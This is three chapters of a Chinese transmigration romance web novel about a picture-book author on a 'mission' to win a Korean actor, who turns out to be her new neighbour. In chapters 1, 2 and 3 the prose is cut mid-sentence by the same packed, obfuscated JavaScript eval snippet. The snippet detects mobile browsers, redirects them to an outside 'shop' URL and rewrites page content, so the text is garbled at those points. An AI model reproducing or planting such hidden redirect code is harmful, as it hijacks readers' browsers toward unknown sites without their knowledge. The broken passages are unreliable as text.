《南韩恋爱图鉴[快穿]》 1. 大韩民国知名绘本女作者 首尔三月的下午,阳光透过COEX商场巨大的玻璃穹顶洒下来,四楼的活动区被临时改造成了签售会场,白色的背景板上印着几个清新的手绘字体。 这是《星星住在我口袋里》作者柳夏妍的签名会,背景板前摆着一张长桌,桌上堆着高高的绘本,淡蓝色的封面上画着一个小女孩仰望星空的背影,线条柔和,色彩温柔。 柳夏妍坐在桌子后面,手里握着一支深蓝色的签字笔,她面前排着长长的队伍,一直延伸到活动区外的走廊拐角,队伍里大多是年轻女性,也有牵着孩子的爸妈,还有几对情侣,每个人手里都捧着那本淡蓝色的绘本。 一个戴着圆框眼镜的女孩把书递过来,声音有点激动:“夏妍老师,我特别喜欢您的绘本,《星星住在我口袋里》我看了五遍,每次心情不好的时候就看,看着看着就觉得世界变温柔了。” 柳夏妍抬起头,对女孩笑了笑,她笑起来的时候眼睛弯成月牙状,她接过绘本,翻开扉页:“你叫什么名字?” “智恩,我叫金智恩。” 柳夏妍一边写一边轻声念:“给智恩。” 她画了个小小的星星图案,签上自己的名字和日期,把书递回去。 “谢谢老师!”智恩抱着书,眼睛亮晶晶的,鞠了个躬才离开, 下一个是个年轻的妈妈,手里牵着个小男孩,小男孩大概五六岁,躲在妈妈身后,露出一只眼睛好奇地看着柳夏妍。 柳夏妍在绘本上画了只简笔兔子,递给小男孩,小男孩接过书,抱在怀里,终于露出了笑容。 签售就这样持续着,柳夏妍保持着礼貌的微笑,耐心地倾听每个人的话,在书上写下不同的祝福,她的手腕在桌子下方轻轻转动,缓解酸涩感,就在她低头签名的瞬间,远处突然传来一阵热闹的声音。 那声音像是波浪一样,从商场的另一端扩散过来,先是隐约的尖叫和欢呼,然后是急促的脚步声,人群移动的嘈杂声,声音越来越近,柳夏妍甚至能分辨出几句话。 “是车垠优,真的是他!” “天啊,他怎么来这里了?” “快拍照,快!” 柳夏妍手中的笔顿了顿,她抬起头,朝声音传来的方向望去, 活动区位于商场四楼的开放空间,没有墙壁阻隔,视线可以穿过中庭一直看到对面三楼的品牌店。 此刻,对面三楼的走廊上,一群人正簇拥着一个身影移动,人群像潮水般涌动,中间的那个人被保安和工作人员护着,走得很快,但即便如此,柳夏妍还是一眼就看到了他。 车垠优。 即使隔着几十米的距离,即使中间隔着涌动的人潮和玻璃栏杆,那个身影依然醒目得像是自带聚光灯,他穿着一身黑色的休闲装黑色的连帽卫衣,黑色的运动裤,黑色的运动鞋,但这么简单的装束穿在他身上却有种说不出的利落和张力。 他很高,肩膀宽阔,腿很长,没戴帽子,也没戴口罩,头发是深栗色的,剪得有点碎,几缕刘海随意地搭在额前,他的脸,柳夏妍不得不承认,即使在她经历过的那么多世界里,见过那么多被系统标记为“顶级容貌”的任务伙伴,车垠优的外形依然能排进前列。 是一种更具冲击力的英俊,眉骨很高,眉毛浓密但不杂乱,鼻梁挺直得像雕塑,嘴唇薄而轮廓清晰,下颌线的弧度干净利落,他走路的姿态很特别,有种漫不经心却不容忽视的存在感。 就在柳夏妍看过去的瞬间,车垠优似乎察觉到了什么,视线往这边扫了一眼。 两人的目光在空中短暂地交汇。 大概只有零点几秒的时间,车垠优的目光没有任何停留,很快就移开了,继续向前走,但柳夏妍却感觉心脏猛地跳了一下。 与此同时,她的左手手腕内侧,那条只有她自己能看到的极细的蓝色线,开始发生变化。 那条线从她进入这个世界的第一天就出现了,它非常细,像用最细的针尖在皮肤上划出的痕迹,泛着幽幽的蓝光,系统说,这是“心动指数指示器”,只有当她和攻略对象产生互动的时候,它才会显现并开始工作,现在,蓝色的线正从末端开始,一点点变成红色,那红色像是活物,顺着线条慢慢蔓延,像血管里流淌的血液,又像是温度计里的水银柱在上升, 红蓝交界处,浮现出一个极小的数字:1%。 柳夏妍盯着自己的手腕,有几秒钟的失神。 “老师,柳夏妍老师?” 身后传来小助理秀彬的声音,秀彬是个二十出头的小姑娘,圆脸,短发,戴着一副黑框眼镜,是出版社派来协助这次签售的,她轻轻碰了碰柳夏妍的肩膀:“老师,您没事吧?下一个读者在等。” 柳夏妍猛地回过神来,她放下左手,用右手整理了一下头发,对面前等待的读者露出歉意的笑容:“不好意思,刚才走神了,您叫什么名字?” 签售继续,但柳夏妍的注意力已经不完全在这上面了,她的余光追随着对面三楼那个身影,看着他在人群的簇拥下走进一家品牌店,然后店门关上,保安在门口拦住了想跟进去的粉丝,人群渐渐散开,但还有不少人守在店外,举着手机等待。 柳夏妍一边签名,一边在脑海里调出系统界面,淡蓝色的半透明屏幕浮现在她眼前,只有她能看见。 当前世界:南韩恋爱副本(退休休闲级) 攻略对象:车垠优(演员/歌手) 心动指数:1% 任务目标:使心动指数达到100% 任务奖励:本世界+5000积分(可兑换5年寿命) 失败惩罚:永久滞留本世界 退休休闲级,柳夏妍在心里重复这个词,确实,比起之前那些需要拯救世界、破解阴谋、改变历史的高难度任务,这个世界简直像是度假,只需要谈一场恋爱,让一个男人爱上自己,就能获得额外寿命,而且攻略对象是车垠优这个世界的顶流明星,外貌、才华、人气都是顶级的,系统还真是懂得如何诱惑人。 但柳夏妍没有被冲昏头脑,她经历过太多世界了,知道越是看起来简单的任务,往往隐藏着越深的陷阱,车垠优这种级别的明星,身边围绕着无数诱惑和关注,要让他真正心动,恐怕没那么容易。 而且那个“永久滞留”的惩罚她打了个寒颤,不是害怕留在这个世界,而是害怕失去选择的权利,经历过星辰大海的人,怎么能忍受被困在一个小小的星球上? 签售会在下午五点结束,柳夏妍签完了最后一本书,活动手指,发现关节都有些僵硬了,秀彬在收拾东西,把剩下的绘本装箱,整理读者送的礼物几束花,几盒巧克力,一些手写信。 秀彬说:“老师今天辛苦了,签了快四百本呢,出版社说效果特别好,网上已经有人发签售会照片了,都在夸老师又温柔又漂亮。” 柳夏妍笑了笑,没说话,她的目光落在对面的品牌店,门还关着,车垠优应该还在里面。 秀彬看了看手机:“老师,我们接下来,出版社的庆功宴是七点,在这附近的餐厅,现在还有时间,您要不要先休息一下,喝点东西?” 柳夏妍点头:“好,去咖啡厅坐坐吧,我有点渴。” 她们去了商场三楼的一家咖啡厅,就在那家品牌店的斜对面,咖啡厅装修得很雅致,浅木色的桌椅,绿色植物点缀其间,玻璃幕墙外就是中庭,视野很好,柳夏妍选了靠窗的位置坐下,点了杯冰美式,秀彬点了拿铁,然后拿出手机开始处理工作消息。 柳夏妍搅拌着杯子里的冰块,目光不自觉地飘向对面,品牌店的门还关着,但能透过玻璃看到里面有人在走动,她抬起左手,手腕放在桌上,那条线现在稳定在红色,约莫有整条线的百分之一长度,数字“1%”悬浮在线条上方,只有她能看见。 不过也好,柳夏妍想,慢慢来,她有得是时间,在这个世界里,她的身份是知名绘本作家,有社会地位,有才华,有不错的外貌,虽然不是惊艳型,但属于耐看的气质型,深棕色的长发微卷,皮肤白皙,五官清秀柔和,眼睛是温柔的杏眼,笑起来眼角有细细的纹路,反而增添了几分亲和力,穿着简单的米白色针织衫和深蓝色长裙,外面搭了件浅灰色的开衫,整体给人的感觉是温暖、知性、有故事感。 她正想着,咖啡厅的门被推开了。 车垠优的经纪人金惠媛走了进来,她来这里给车垠优和工作人员买咖啡。 金惠媛三十岁左右,穿着利落的黑色西装套装,短发,妆容精致,手里拿着一个名牌手包,她走得很快,但突然在进门处顿住了脚步,目光直直地看向柳夏妍这边。 柳夏妍察觉到视线,抬起头,两人对视的瞬间,那个女人眼睛明显亮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154265|196507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 女人快步走过来,语气带着兴奋:“我的天,柳夏妍老师,居然是您!我是您的读者!《星星住在我口袋里》我买了三本,一本自己看,一本送给我妹妹,一本收藏,您画的那些小故事天啊,怎么可以那么温暖又那么有力量!” 柳夏妍被这突如其来的热情弄得有点不好意思,她站起身:“谢谢您的喜欢,请问您是……” 女人从手包里掏出名片,双手递过来:“啊,抱歉,我太激动了,我叫金惠媛,是车垠优的经纪人。” 柳夏妍接过名片,白色卡片,简洁的设计,印着名字、职位和联系方式,她抬眼看向金惠媛,又下意识地瞥了一眼对面的品牌店。 “车垠优先生他今天在这里有活动?” 金惠媛解释说:“嗯,一个品牌站台,刚结束,本来我们要直接从员工通道去地下车库的,但我在走廊上看到您的签售会海报,就想啊,要是能遇到您就好了,没想到真的在这里碰到了!这一定是缘分!” 柳夏妍笑了:“要to签吗?” “要要要!一本写给我的,一本……”金惠媛顿了顿,脸上露出一个有点调皮的笑容:“一本写给我们艺人垠优的,可以吗?他其实也嗯,他也很有艺术鉴赏力的,我觉得他应该会喜欢您的作品。” 柳夏妍脸上保持着平静的微笑:“车垠优先生也看绘本吗?” 金惠媛耸耸肩:“其实,他不怎么看。” 片刻后,柳夏妍为她签了名字,金惠媛接过书,像捧着宝贝一样:“太感谢了!老师,您不知道我有多喜欢您的作品,您下一本书什么时候出?我一定第一时间买!” “还在创作中,可能要到年底了。” 金惠媛从手包里又拿出手机:“我一定支持!啊,对了,老师,可以跟您合个影吗?我想发给我妹妹看,她也是您的粉丝。” 柳夏妍点点头,金惠媛走到她身边,举起手机,秀彬主动说:“我帮你们拍吧?” “好啊好啊,谢谢!” 拍了几张照片,金惠媛看着手机屏幕,满意地笑了,然后她像是突然想起什么,看了看手表:“啊,我得走了,垠优还在车里等我,老师,今天真的特别高兴能遇到您,希望以后还有机会见面!” 柳夏妍说:“我也很高兴认识您,请慢走。” 金惠媛抱着两本签好的绘本,脚步轻快地离开了咖啡厅,柳夏妍看着她穿过中庭,走向员工通道的方向,然后坐回椅子上。 商场外,车垠优坐在黑色的保姆车里,戴着耳机听音乐,车窗贴了深色的膜,从外面看不到里面,他穿着一身黑,几乎融进了车内的阴影里,只有手指随着音乐的节奏轻轻敲着膝盖。 车门被拉开,金惠媛钻了进来,脸上带着掩饰不住的兴奋,忍不住把刚才见到了柳夏妍的事告诉了车垠优。 金惠媛献宝似的把绘本递过去:“看,to签!两本!一本给我的,一本给你的,你看看,柳夏妍老师的字写得真好看,还会画小插图。” 车垠优接过那本写着“给垠优”的书,淡蓝色的封面,手感很好,他翻开扉页,看到那行字,果然,字迹清秀,旁边画了个简单的星星图案。 他念出签名:“柳夏妍?” 金惠媛纠正他:“是啊,她的绘本销量超过一百万册,拿了好几个文学和艺术类奖项,关键是,她的作品有一种特别的力量怎么说呢,既温柔又有韧性,我每次心情不好的时候看,都能得到安慰。” 车垠优点点头,如果是平时,他肯定会和经纪人金惠媛多聊一聊,说不定也能翻翻绘本看内容。 不过,他最近活动很多,品牌站台、广告拍摄,还刚刚结束一个电视剧的拍摄,实在是非常疲惫,面对金惠媛兴奋得甚至要为他讲一讲柳夏妍绘本内容的请求,他无奈地手指按了按太阳穴。 “抱歉,惠媛,我对这种儿童书没什么兴趣。” “这不是儿童书,是全年龄的。”金惠媛坚持道:“算了,不跟你争论,反正书我送你了,看不看随你,不过垠优,我跟你讲,柳夏妍老师本人真的很有气质,说话温温柔柔的,但眼神很坚定,一看就是内心有自己世界的人。” 车垠优重新戴上耳机,闭上眼睛:“开车吧,我真的累了。” 说完这话,司机启动车辆,保姆车缓缓驶出了地下车库。 2. 大韩民国知名绘本女作者 车垠优推开公寓门的时候,终于舒了口气,今天那个品牌活动站了整整五个小时,笑到脸颊肌肉都发僵了。 他把钥匙扔进玄关的陶瓷碗里,发出一声清脆的响动。 他脱掉外套,随手搭在沙发背上,径直走向浴室,热水冲下来的时候,水珠顺着他的背脊滑下来,流过那些因为长期健身而保持紧实的肌肉线条。 他关掉水,伸手抓过浴巾擦了擦头发,然后对着雾气朦胧的镜子看了看自己。 镜子里的人有张被媒体称为“雕塑般完美”的脸,但此刻那双眼睛里全是疲惫。 他擦干身体,从架子上取下浴袍披上,浴袍是深灰色的丝绸质地,腰带在腰间松松地系了个结,他胸肌的线条在敞开的领口处若隐若现,随着他抬手擦头发的动作微微绷紧。 本来以为洗个热水澡会让他更困,没想到温热的水流反而冲走了些倦意,他光着脚走出浴室,踩在微凉的地板上,走向开放式厨房的冰箱。 冰箱门拉开,冷气扑出来,他看了看,伸手拿了罐冰镇柚子茶,不是广告商送的那些能量饮料,他就喜欢这种简单的甜酸味,易拉罐“嗤”地一声打开,他仰头喝了一大口。 走到客厅,他瞥见了被自己随手扔在玻璃茶几上的那本绘本,《星星住在我口袋里》。 封面是深蓝色的,撒着银色的烫星星点,是经纪人金惠媛塞到他手里的,他也鬼使神差给带回家了。 不过,封面设计得还不错,他想。 车垠优陷进沙发里,又喝了一口柚子茶,然后随手拿起那本绘本,硬壳精装,挺有质感的,他翻开第一页。 “从前有个小星球,它住在一个人的口袋里……” 就这一行字,配着简单的插画一只工装裤的口袋,里面探出半个圆滚滚的星球,星球上有两只小小的眼睛。 车垠优挑了挑眉,有点意思。 他继续往下翻。 “口袋星球每天跟着这个人到处走,他去上班,口袋星球就在黑暗里轻轻摇晃,他吃饭,口袋星球就闻着食物的香味,他难过的时候,口袋星球会在口袋里发出微弱的光,虽然那个人从来不知道。” 车垠优翻页的速度慢了下来。 “有一天,口袋星球发现这个人的心跳声很好听,咚,咚,咚,像最温柔的鼓点,口袋星球开始学着那个节奏跳动,一下,两下,三下,慢慢地,它的心跳和那个人的心跳变成了同一个节奏。” 他停住了,盯着那页插画,口袋里的星球亮着暖黄色的光,线条简单,却莫名让人感觉到温暖的力量。 “后来那个人换了一条裤子……” 车垠优差点笑出来。 “口袋星球被留在了旧裤子的口袋里,它躺在黑暗的衣柜里,听不到那个人的心跳了,它试着按照记忆中的节奏跳动,但总是不对,一下,两下,然后停了,它不会自己跳动了。” 车垠优皱了皱眉,又翻了一页。 “过了很久,那个人突然想起那条旧裤子,他打开衣柜,把手伸进口袋,指尖触碰到口袋星球的时候,那颗小星球突然重新亮了起来,而且跳得飞快比从前任何时候都快,因为它发现,在它忘记如何跳动的这些日子里,那个人也开始意识到它的存在,因此开始把它放在离自己心脏最近的那个口袋……” 车垠优看得停不下来,直接用了半个小时,把整本绘本都看完了,一共三个小故事,每个故事都有小反转,不过真的很温暖,合上绘本,他盯着封面看了几秒。 这故事还真有点东西。 他把柚子茶喝完,易拉罐放在茶几上,发出轻微的碰撞声,窗外是首尔璀璨的夜景,他的公寓在四十层,能看到汉江和远处连绵的灯火,但他现在满脑子都是那个不会自己跳动的小星球。 与此同时,城市的另一头,柳夏妍正抱着一摞箱子从货车上下来。 助理秀彬的声音从后面传来:“姐,小心脚下,这里有个台阶!” 柳夏妍低头看了看,迈过那个台阶,她手里提着的那个铁皮桶里塞满了画笔和颜料管,随着她的动作哗啦作响,她今天穿得很简单,米色针织衫和牛仔裤,头发松松地扎在脑后,但即便是这样随意的打扮,经过的人还是会多看她两眼,那种干净又温柔的长相,在傍晚的街灯下像会发光一样。 “最后一车了。” 秀彬跟上来,她活力十足,不过这会儿也喘着粗气了,“工人说二十分钟就能搬完,姐,你确定不用我帮你整理书架吗?你那些书可太多了。” 柳夏妍笑了笑:“不用,我自己来就行,今天辛苦你了,搬完我请你喝酒。” “真的?那我要喝桃子味的!” 两人边说边走进新公寓的大楼,电梯缓缓上升时,柳夏妍无意间瞥了眼自己的左手腕,那里看起来什么都没有,但在她的视角里,有一道细细的透明进度条,此刻正浮在皮肤上方几毫米处,进度条底部,原本只有1%的红色水柱,现在跳到了3%。 柳夏妍的睫毛轻轻颤了一下。 3%,看来他看到了绘本。 她没表现出什么,只是调整了一下抱箱子的姿势,电梯“叮”的一声到了楼层,门开了。 新公寓比她之前住的地方大了不少,最重要的是视野巨大的落地窗外,能看到汉江的一角。 工人们进进出出,把最后的几件家具和箱子摆放到位,秀彬像个指挥官似的在旁边指挥:“那个书架靠左边墙,对,就是那里,啊,盆栽放阳台!” 柳夏妍把铁皮桶放在工作台旁,那是靠窗的位置,她已经想好了,以后就在这里画画。 一个小时后,工人们离开了,房间里突然安静下来,只剩下一些未拆封的纸箱散落在地板上,秀彬累得一屁股坐在沙发上:“对了姐,你之前那个公寓不是挺好的吗,为什么突然搬家呢?我还挺喜欢你那小区门口的辣炒年糕店呢。” 柳夏妍从厨房走出来,手里拿着两瓶果酒,玻璃瓶身冒着冷气,标签上是橙子和柠檬的图案。 “给,你说要桃子味的,但我家只有柑橘味的。”她把一瓶递给秀彬,“之前那个公寓是还不错,但这里视野更好,你看那边,能看到江,而且这栋楼安静,适合工作。” 秀彬接过酒瓶,拧开盖喝了一大口:“好好喝。” 柳夏妍也打开自己的那瓶,在秀彬旁边的单人沙发上坐下,她其实没说实话,搬家是因为之前的公寓离某个人的活动范围太远了,现在,当然要进入他的视野范围内。 秀彬眨眨眼:“姐,我昨天还看到书店里你的专架又补货了,《星星住在我口袋里》我记得已经是第十次印刷了。” “第十一次。”柳夏妍纠正道,嘴角有浅浅的笑意。 “厉害厉害!来,为畅销干杯!” 两只酒瓶轻轻碰在一起。 柳夏妍伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154266|196507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拿过遥控器,打开了电视,屏幕亮起来,是某个综艺节目的重播,她随手按着频道键,画面一帧帧闪过。 片刻后,柳夏妍按了返回键。 画面定格在一个广告上,深蓝色的背景,车垠优穿着简单的白衬衫,手里拿着一瓶香水,他没有看镜头,而是微微侧着头,像是在听什么声音,然后他转过脸,眼睛直视镜头,说了句什么,字幕打出来:“你听见了吗?心跳的声音。” 广告只有十五秒,很快就结束了,但秀彬已经捂住胸口:“我的天,他怎么能越来越帅呢?真是每次看到都让人移不开眼睛的程度,姐,你说是不是?” 柳夏妍盯着已经跳转到下一个广告的屏幕,缓缓喝了口果酒:“嗯。” 她的手腕在发热,3%的红色水柱轻轻波动了一下,又稳住了。 秀彬歪着头:“不过说真的,车垠优最近好像没参演什么新作品?我记得他之前那部电影拍完之后,就没什么消息了。” “可能是在休息吧。”柳夏妍说,她其实知道得更多,车垠优刚结束连续四个月的无休拍摄,现在正处于调整期,这些信息不难查,毕竟他是顶级艺人,行程半公开,但她没打算告诉秀彬。 两人又聊了一会儿,酒喝完了,秀彬打了个哈欠:“姐,我得回家了,明天一早要去出版社帮你对接版权的事情。” “路上小心,到家给我发消息。” 送走秀彬后,柳夏妍回到突然安静下来的公寓,她走到窗边,看着外面的夜景,江对岸的写字楼还亮着不少灯,像一个个发光的方格。 洗漱完毕,柳夏妍躺在新家的第一张床上,床垫很软,被子有阳光晒过的味道,她闭上眼睛,翻了个身,把脸埋进枕头里。 然后很快睡着了。 第二天清晨,车垠优比平时醒得晚了一些,没有行程的日子,他会睡到自然醒,阳光从窗帘缝隙里透进来。 他起床,冲了个澡,换上一身休闲服灰色卫衣和运动裤,戴上帽子和口罩,今天他想出去走走,不想开车,就随便逛逛。 他住的高端公寓楼有三部电梯,他通常用离自己户型最近的那部,按下按钮后,电梯从一楼缓缓上升,他靠在墙上,在思索着什么。 电梯“叮”的一声到了。 门打开,里面空无一人,车垠优走进去,按了一楼,门缓缓合上,就在快要完全关闭的瞬间,一只手伸了进来,挡住了门。 电梯门重新打开。 车垠优抬起头。 站在电梯外的女人穿着白色的衬衫,头发松松地挽在脑后,几缕碎发落在脸颊旁,她手里拿着一个帆布袋,袋口露出素描本的一角,她抬起头,眼睛对上车垠优的视线。 那是一双很特别的眼睛,不是纯粹的黑或棕,而是带着点琥珀色,在电梯间的灯光下显得温润而清澈,她的五官精致,整个人散发出一种温柔却有力量的气质,最奇怪的是,车垠优看着她,突然涌上一股强烈的熟悉感。 他肯定见过她,不是在电视上,不是在海报上,是实实在在地见过。 然后他想起来了,昨天,商场,签售台后面坐着的那个女人,他和她有过一面之缘,还有那本《星星住在我口袋里》绘本的作者简介页上,那张小小的照片。 柳夏妍。 与此同时,柳夏妍的唇角轻轻勾起一抹笑,那笑容很淡,但让她的整张脸都亮了起来,她步入电梯。 3. 大韩民国知名绘本女作者 电梯门缓缓合上,把外界的声响隔绝开来,车垠优站在靠里的位置,柳夏妍站在门边,两人之间隔着一臂多的距离,帆布袋被她轻轻提在手里。 沉默持续了大概五秒,但感觉上要更长一些,柳夏妍侧过身,微微仰头看向车垠优,率先打破了安静:“对了,刚才忘了正式自我介绍,我叫柳夏妍,是新搬来的,住在3207,昨天刚把东西搬完,屋子里现在还堆着不少箱子呢。” 她的声音带着一种温和的质感,车垠优也转过身,正面对着她,点了点头:“你好,车垠优,3208。” 柳夏妍笑了,说道:“昨天在商场就认出来了,只是当时觉得,过去打招呼可能会给您造成不必要的麻烦。” 车垠优脱口而出,他自己都愣了一下,柳夏妍这样说,反而让他觉得有些过于客气了? “不会麻烦,我的意思是,邻居之间打招呼,很正常。” “那倒是。” 柳夏妍从风衣口袋里掏出手机,屏幕亮了一下又暗下去,她只是看了看时间,又放了回去,“以后就是邻居了,请多关照,虽然我想你大概不常在家,但万一有什么需要帮忙的,比如收个快递什么的,我在家时间比较多。” 车垠优点点头,回道:“绘本作家工作时间比较自由?” “算是吧,有灵感的时候可以画到凌晨,没灵感的时候可能一整天都在发呆,或者收拾屋子。” 柳夏妍说着,抬手将一缕滑到脸颊旁的头发别到耳后,那个动作很自然,手腕抬起的弧度,带着一种日常的松弛感,“不过最近在准备一个改编项目,可能会忙一些。” 电梯的数字跳动着,从30降到25,20,15下行得很快。 车垠优说:“那很厉害,恭喜。” “谢谢。” 柳夏妍轻轻点了点头,没再说话,电梯里又安静了几秒。 电梯“叮”的一声,抵达一楼,门缓缓打开,大堂明亮的光线涌了进来。 柳夏妍弯下腰,拎起帆布袋:“我到了,那么,再见,车垠优先生。” “再见。”车垠优说。 柳夏妍走出电梯,步伐轻快地朝着公寓大门走去,车垠优跟在她后面几步远的地方,看着她推开沉重的玻璃门,身影融入外面街道上午后的阳光里,她在路边站定,抬手拦了一辆缓缓驶过的出租车,拉开车门,上车,关门,出租车汇入车流,很快消失在拐角。 车垠优在原地站了一会儿,戴上帽子和口罩,朝着相反的方向走去。 街角那家咖啡馆的铃铛再次响起,店主大叔正在研磨咖啡豆,机器嗡嗡的声音停了下来,他抬头,笑容满面:“今天比平时晚了一点啊。” “嗯,有点事。” 车垠优走到柜台前,目光扫过玻璃柜里陈列的几款面包,可颂、巧克力卷、全麦核桃包、还有一款表面撒着糖霜的苹果派。 “老样子,深焙手冲,然后,苹果派吧,今天换个口味。” 大叔一边说一边熟练地操作起来:“苹果派刚出炉,还热着,配深焙正好,解腻。” 车垠优在靠窗的老位置坐下,窗外街道上人来人往,他拿出手机,看了两眼。 大叔把咖啡和苹果派端过来,派还冒着热气,酥皮金黄,糖霜在阳光下微微反光,车垠优用叉子切下一角,送进嘴里,温热的苹果内馅,酸甜适中,带着肉桂的香气,确实和深焙咖啡很配。 他慢慢吃着,看向窗外。 手机震动了一下,是经纪人发来的消息:“后天下午三点,和朴导见面,地点我发你,就是之前合作过《逆光》的那位朴志勋导演,他说有个新项目想跟你聊聊,具体没说,但听起来挺有意思的,去见见吧。” 车垠优回道:“好。” 两天后的下午,车垠优按照经纪人发来的地址,驱车来到江北区一个相对僻静的区域,这里不像江南那样高楼林立,反而有些低矮的传统韩屋改造的店铺和工作室,掩映在不太茂密的松树林间。 导航提示目的地已到达的时候,他眼前出现的是一个外观极简的灰白色建筑,招牌很小,只写着“极简”两个字。 停好车,他推门进去,内部是挑高的空间,光线透过高处细长的窗户洒下来,这里看起来像是一个高级的休闲会所,私密性很好,几乎看不到其他客人。 一个穿着亚麻制服的服务生安静地迎上来,确认了预约信息后,领着他穿过一条有着流水声的走廊,来到一个半开放的茶室。 朴志勋导演已经到了,他五十多岁,头发花白,戴着一副黑框眼镜,正坐在凳子上,看着庭院出神,听到脚步声,他转过头,脸上露出笑容:“垠优啊,来了,快坐。” 车垠优脱下外套,在朴导对面的垫子上坐下:“导演,好久不见。” 朴导语气亲切,带着长辈式的调侃:“是啊,自从《逆光》拍完,有两三年了吧?你倒是越来越红了,我每次打开电视都能看到你,是不是特别忙啊?” “最近事情不多,正在休息。”车垠优笑了笑。 朴导拿起小巧的陶壶,给车垠优倒了一杯浅金色的茶:“尝尝这个,今年的新茶,味道很清。” 车垠优双手接过,抿了一口,茶味很淡,但回味甘甜。 朴导开门见山,放下茶杯,从身旁的公文包里拿出一个文件夹,推到车垠优面前:“今天叫你来,是有个项目想让你听听,不是电视剧,是电影,动画电影。” 车垠优有些意外,拿起文件夹翻开,第一页是项目概览,片名暂定是《黑猫》,类型是奇幻温情动画电影,制作公司是一家他听过但不算非常熟悉的动画工作室,以精良的二维手绘风格著称。 “动画电影?导演,您这是要转型?”车垠优问。 朴导摆摆手:“不是我执导,我是制片人之一,这个项目,我是被原著和制作团队吸引过来的,你先看看原著作者是谁。” 车垠优翻到第二页,眼睛在看到那个名字时,定住了。 原著作者:柳夏妍。 改编编剧:柳夏妍(联合编剧)。 他的手指在纸页上停顿了两秒,才继续往下翻,是柳夏妍一本叫《黑猫》的绘本作品简介,故事大概讲述了一个古老邮局,邮局里有一个不会长大的男孩管理员,和一只会说话的黑猫。 车垠优抬头:“柳夏妍作家,我知道她。” “哦?你看过她的作品?”朴导有些惊喜。 车垠优顿了顿,觉得这巧合实在有些奇妙:“看过一本,而且,她刚搬到我住的公寓,就在我楼下,我们两天前在电梯里遇到了。” 朴导眼睛一亮,抚掌笑道:“真的?那太好了,这简直是缘分啊!我本来还想着安排你们见面认识一下呢,毕竟如果确定合作,你们需要沟通的地方很多,这下方便了,邻居嘛,串个门就能聊。” 车垠优还没完全消化这个信息,茶室的门被轻轻敲响,随后拉开,又有三个人走了进来,领头的是一个四十多岁、穿着剪裁利落的西装的女人,笑容干练,她身后跟着一个稍微年轻些,戴着眼镜的男人,手里抱着平板电脑,最后是一个看起来更年长些、气质儒雅的男人。 朴导站起身:“啊,来了,垠优,给你介绍一下,这位是金秀敏代表,这次项目的总制片人,这位是动画工作室的崔振宇导演,他将负责这部电影的执导,这位是李成俊,负责剧本的联合改编。” 一阵寒暄和握手,金秀敏代表的目光在车垠优脸上停留片刻,笑容热情:“车垠优先生,久仰了,朴导跟我们力荐您,说您对作品有很深的理解力。” “您过奖了。”车垠优礼貌地回应。 众人重新落座,服务生进来添了茶水和几碟精致的茶点,又退了出去。 崔振宇导演推了推眼镜,开口道:“车垠优先生,我们这次想邀请您参与的,是为电影男主角‘银’配音的工作。” “配音?”车垠优惊讶。 崔振宇很肯定地点头:“是的,纯粹的配音,可能您不太了解,最近几年,优质的动画电影在成人市场也有很大的潜力,尤其是柳夏妍作家的作品,很受市场喜爱,我们这部《黑猫》,目标观众不仅仅是孩子,也有成年人,我们需要一个声音,能够传递出‘银’这个角色的复杂感。” 车垠优把杯子放在桌面上,陷入了思索。 朴导看着他:“垠优,我知道你最近想休息,不想接太累的活儿,这个项目不一样,动画电影嘛,磨的是慢工,可以根据你的时间灵活安排,更重要的是,我觉得这个角色,这个故事,可能是你现在需要的那种不一样的东西。” 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154267|196507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垠优翻动着文件夹里的资料,里面有一些初步的角色设定图。 名为“银”的男孩,有着柔软的银色头发,清澈的深灰色眼睛,穿着类似旧式邮递员的制服,但设计得非常飘逸,他坐在一个堆满古怪物品的房间里,窗外是流动的,像星河又像极光一样变幻的光带。 画面很美,风格独特。 车垠优抬头:“我能问问,柳夏妍作家在这个项目里的参与度有多高?” 崔振宇导演立刻回答:“非常高,她是原作者,也是联合编剧,所有重要的改编决定,场景设计,角色核心设定,都必须经过她的同意,她不是那种卖了版权就不管的作者,事实上,她对‘银’这个角色有非常清晰的想象,我们给她听过几位候选配音演员的样带,但我们提到您的名字时,她并没有反对,只是说需要亲自感受一下,您的声音和角色的契合度。” 车垠优问:“这个项目,预计什么时候开始正式配音?” 金秀敏代表说:“如果您同意,我们希望您能在这一个月里,先和柳夏妍作家,还有编剧导演团队,进行几次深入的剧本讨论和角色解读会,先吃透角色和故事,然后再进行下一步。” 车垠优说:“我需要看看剧本,还有柳夏妍作家原著的完整故事。” 